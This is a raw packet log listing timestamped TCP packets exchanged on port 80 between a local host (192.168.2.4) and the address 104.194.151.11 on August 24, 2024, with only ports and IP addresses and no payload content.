Aug 24, 2024 12:21:56.288424969 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.288427114 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.288434982 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.288445950 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.288451910 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.288469076 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.288470984 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.288485050 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.288486004 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.288496971 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.288507938 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.288510084 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.288518906 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.288523912 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.288537979 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.288558960 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.372661114 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.372672081 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.372682095 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.372719049 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.372729063 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.372739077 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.372744083 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.372750044 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.372761965 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.372773886 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.372785091 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.372803926 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.372807980 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.372818947 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.372824907 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.372829914 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.372840881 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.372853041 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.372855902 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.372880936 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.372890949 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.372937918 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.372948885 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.372958899 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.372976065 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.372988939 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.372988939 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373001099 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373004913 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373012066 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373035908 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373056889 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373084068 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373095989 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373126030 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373150110 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373199940 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373210907 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373220921 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373241901 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373250008 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373260975 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373260975 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373272896 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373295069 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373322964 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373342991 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373379946 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373385906 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373390913 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373408079 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373418093 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373420954 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373429060 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373446941 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373473883 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373492956 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373503923 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373513937 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373526096 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373533964 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373548985 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373578072 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373637915 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373648882 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373657942 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373680115 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373697042 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373703957 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373708963 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373723984 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373739004 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373753071 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373769045 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373773098 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373811960 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373836040 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373847961 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373864889 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373876095 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373877048 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373887062 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373895884 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373899937 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.373915911 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373939991 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.373997927 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.374008894 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.374025106 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.374036074 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.374038935 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.374056101 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.374064922 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.374068022 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.374078989 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.374088049 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.374090910 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.374108076 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.374124050 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.374149084 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.377788067 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.377804995 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.377816916 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.377827883 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.377834082 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.377832890 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.377839088 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.377850056 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.377855062 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.377875090 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.377886057 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.377887964 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.377899885 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.377912998 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.377923965 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.377932072 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.377935886 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.377939939 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.377948999 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.377974033 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378001928 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378047943 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378088951 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378130913 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378142118 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378150940 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378165960 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378173113 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378179073 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378190041 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378201962 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378230095 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378252983 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378263950 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378278017 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378288984 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378297091 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378300905 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378319979 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378319979 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378333092 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378344059 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378350973 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378367901 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378387928 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378398895 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378411055 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378421068 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378434896 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378448009 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378469944 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378528118 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378551006 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378563881 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378568888 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378587008 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378606081 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378660917 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378673077 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378684998 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378695965 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378705025 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378720999 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378742933 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378748894 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378761053 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378771067 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378792048 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378815889 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378849983 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378861904 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378873110 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378885984 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.378891945 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378910065 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.378941059 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463258982 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463273048 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463289976 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463330030 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463346004 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463351965 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463357925 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463368893 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463381052 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463387966 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463391066 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463402033 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463419914 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463421106 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463433027 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463443041 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463443041 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463454008 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463460922 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463464022 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463480949 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463484049 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463493109 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463505030 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463505983 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463515997 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463526964 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463526964 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463551998 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463562965 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463571072 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463579893 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463589907 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463603973 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463609934 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463617086 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463627100 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463629007 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463639021 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463641882 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463666916 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463692904 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463746071 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463757992 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463767052 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463777065 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463784933 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463788033 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463798046 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463804007 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463808060 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463824987 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463826895 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463836908 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463840008 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463849068 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463865042 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463884115 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463917017 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463934898 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463944912 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463946104 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463946104 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463954926 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463969946 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463974953 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463980913 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.463994980 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.463996887 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464009047 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464018106 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464018106 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464031935 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464055061 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464072943 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464082956 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464092970 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464102030 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464112043 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464112043 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464143991 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464160919 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464211941 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464225054 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464234114 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464245081 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464251995 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464256048 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464267015 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464267015 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464277983 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464281082 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464288950 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464307070 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464323044 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464324951 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464359999 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464395046 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464406013 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464415073 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464426041 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464432955 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464437008 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464447021 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464452028 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464478970 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464492083 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464515924 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464526892 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464536905 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464546919 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464556932 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464557886 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464569092 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464576960 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464589119 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464598894 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464608908 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464610100 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464620113 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464632034 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464636087 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464642048 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464653969 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464668036 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464694977 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464713097 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464751959 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464782000 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464792013 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464823008 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464833021 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.464966059 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464976072 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464986086 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.464996099 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465007067 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465008974 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.465017080 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465029001 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.465029955 CEST	49730	80	192.168.2.4	104.194.151.11
